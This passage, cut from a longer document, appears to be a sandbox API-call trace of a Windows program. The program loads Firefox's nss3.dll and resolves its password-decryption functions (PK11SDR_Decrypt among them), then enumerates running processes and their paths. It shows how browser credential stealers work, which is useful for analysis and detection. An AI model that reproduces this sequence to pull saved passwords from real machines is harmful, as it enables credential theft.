(x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.499] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.499] wcscat (in: _Dest=0x289ab8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\" [0070.499] wcscat (in: _Dest=0x289ab8, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0070.499] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20 [0070.499] wcscpy (in: _Dest=0x28a4e0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.499] RegEnumKeyExW (in: hKey=0x110, dwIndex=0x3, lpName=0x28a6f0, lpcchName=0x289cc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x289cc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8) returned 0x103 [0070.499] RegCloseKey (hKey=0x110) returned 0x0 [0070.499] wcscpy (in: _Dest=0x28ad74, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.499] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28db0c | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0070.499] SetCurrentDirectoryW (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1 [0070.499] wcslen (_String="nss3.dll") returned 0x8 [0070.499] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.499] wcscpy (in: _Dest=0x28ab64, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.499] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.499] wcscat (in: _Dest=0x28ab64, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\" [0070.499] wcscat (in: _Dest=0x28ab64, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0070.499] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x73eb0000 [0070.499] GetProcAddress (hModule=0x73eb0000, lpProcName="NSS_Init") returned 0x73f6d70b [0070.499] GetProcAddress (hModule=0x73eb0000, lpProcName="NSS_Shutdown") returned 0x73f6d13c [0070.499] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_GetInternalKeySlot") returned 0x73f03c51 [0070.500] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_FreeSlot") returned 0x73f03333 [0070.500] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_CheckUserPassword") returned 0x73eecbc4 [0070.500] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_Authenticate") returned 0x73eed3ca [0070.500] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11SDR_Decrypt") returned 0x73f000a7 [0070.500] NSS_Init () returned 0xffffffff [0070.529] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0070.529] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x110 [0070.544] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x759f0000 [0070.544] GetProcAddress (hModule=0x759f0000, lpProcName="QueryFullProcessImageNameW") returned 0x75a115f7 [0070.544] QueryFullProcessImageNameW (in: hProcess=0x134, dwFlags=0x0, lpExeName=0x28b494, lpdwSize=0x28bb00 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x28bb00) returned 1 [0070.544] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Windows\\System32\\taskhost.exe" | out: _Dest="C:\\Windows\\System32\\taskhost.exe") returned="C:\\Windows\\System32\\taskhost.exe" [0070.545] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x759f0000 [0070.545] GetProcAddress (hModule=0x759f0000, lpProcName="GetProcessTimes") returned 0x75a1d60f [0070.545] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.545] CloseHandle (hObject=0x134) returned 1 [0070.545] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x314, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x560) returned 0x134 [0070.546] QueryFullProcessImageNameW (in: hProcess=0x134, dwFlags=0x0, lpExeName=0x28b494, lpdwSize=0x28bb00 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x28bb00) returned 1 [0070.546] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Windows\\System32\\dwm.exe" | out: _Dest="C:\\Windows\\System32\\dwm.exe") returned="C:\\Windows\\System32\\dwm.exe" [0070.546] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.546] CloseHandle (hObject=0x134) returned 1 [0070.546] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x544, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.546] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x584) returned 0x134 [0070.547] QueryFullProcessImageNameW (in: hProcess=0x134, dwFlags=0x0, lpExeName=0x28b494, lpdwSize=0x28bb00 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x28bb00) returned 1 [0070.547] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Windows\\explorer.exe" | out: _Dest="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0070.547] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.547] CloseHandle (hObject=0x134) returned 1 [0070.547] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x600) returned 0x0 [0070.547] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6d0) returned 0x0 [0070.548] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0070.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0x134 [0070.549] QueryFullProcessImageNameW (in: hProcess=0x134, dwFlags=0x0, lpExeName=0x28b494, lpdwSize=0x28bb00 | out: lpExeName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpdwSize=0x28bb00) returned 1 [0070.549] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" [0070.549] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.549] CloseHandle (hObject=0x134) returned 1 [0070.549] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x258, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x114) returned 0x0 [0070.550] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f4) returned 0x0 [0070.550] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="turner_construction_solve_cialis.exe")) returned 1 [0070.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x134 [0070.551] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: _Dest="C:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="C:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0070.551] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.551] CloseHandle (hObject=0x134) returned 1 [0070.551] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="efforts-extreme-quantity-reproductive.exe")) returned 1 [0070.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x134 [0070.552] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0070.552] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.552] CloseHandle (hObject=0x134) returned 1 [0070.552] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="los-talks-ooo-focusing.exe")) returned 1 [0070.553] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x134 [0070.553] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\MSBuild\\los-talks-ooo-focusing.exe" | out: _Dest="C:\\Program Files\\MSBuild\\los-talks-ooo-focusing.exe") returned="C:\\Program Files\\MSBuild\\los-talks-ooo-focusing.exe" [0070.553] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.553] CloseHandle (hObject=0x134) returned 1 [0070.553] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="farehave.exe")) returned 1 [0070.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x118) returned 0x134 [0070.554] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0070.554] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.554] CloseHandle (hObject=0x134) returned 1 [0070.554] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ones_pork_tommy_lb.exe")) returned 1 [0070.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x770) returned 0x134 [0070.555] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0070.555] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.555] CloseHandle (hObject=0x134) returned 1 [0070.556] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="C:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0070.556] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.556] CloseHandle (hObject=0x134) returned 1 [0070.556] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="characters appointed birthday finally.exe")) returned 1 [0070.557] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x134 [0070.557] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="C:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0070.557] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.557] CloseHandle (hObject=0x134) returned 1 [0070.557] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ausarrivedrepresentative.exe")) returned 1 [0070.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x830) returned 0x134 [0070.558] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="C:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0070.558] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.558] CloseHandle (hObject=0x134) returned 1 [0070.558] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="routing.exe")) returned 1 [0070.559] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x840) returned 0x134 [0070.559] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="C:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0070.559] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.559] CloseHandle (hObject=0x134) returned 1 [0070.559] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff-filter.exe")) returned 1 [0070.559] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x850) returned 0x134 [0070.560] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\DVD Maker\\cliff-filter.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\cliff-filter.exe") returned="C:\\Program Files\\DVD Maker\\cliff-filter.exe" [0070.560] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.560] CloseHandle (hObject=0x134) returned 1 [0070.560] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0070.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x868) returned 0x134 [0070.561] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Windows Defender\\canvas.exe" | out: _Dest="C:\\Program Files\\Windows Defender\\canvas.exe") returned="C:\\Program Files\\Windows Defender\\canvas.exe" [0070.561] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.561] CloseHandle (hObject=0x134) returned 1 [0070.561] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cookie_cumulative_bennett_horse.exe")) returned 1 [0070.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x878) returned 0x134 [0070.561] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Common Files\\cookie_cumulative_bennett_horse.exe" | out: _Dest="C:\\Program Files\\Common Files\\cookie_cumulative_bennett_horse.exe") returned="C:\\Program Files\\Common Files\\cookie_cumulative_bennett_horse.exe" [0070.561] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.562] CloseHandle (hObject=0x134) returned 1 [0070.562] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pie.exe")) returned 1 [0070.562] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0x134 [0070.562] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="C:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0070.562] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.562] CloseHandle (hObject=0x134) returned 1 [0070.563] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="located-purple-team.exe")) returned 1 [0070.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x898) returned 0x134 [0070.563] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Microsoft Office\\located-purple-team.exe" | out: _Dest="C:\\Program Files\\Microsoft Office\\located-purple-team.exe") returned="C:\\Program Files\\Microsoft Office\\located-purple-team.exe" [0070.563] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.563] CloseHandle (hObject=0x134) returned 1 [0070.563] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pagespresent.exe")) returned 1 [0070.564] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a8) returned 0x134 [0070.564] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Microsoft Office\\pagespresent.exe" | out: _Dest="C:\\Program Files\\Microsoft Office\\pagespresent.exe") returned="C:\\Program Files\\Microsoft Office\\pagespresent.exe" [0070.564] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.564] CloseHandle (hObject=0x134) returned 1 [0070.564] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="diamond_hospitals_designs_www.exe")) returned 1 [0070.565] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0x134 [0070.565] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: _Dest="C:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="C:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0070.565] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.565] CloseHandle (hObject=0x134) returned 1 [0070.565] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="later_pet_handjobs.exe")) returned 1 [0070.565] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8cc) returned 0x134 [0070.565] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0070.565] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.566] CloseHandle (hObject=0x134) returned 1 [0070.566] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumentationendorsementcivilizationcommentary.exe")) returned 1 [0070.566] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 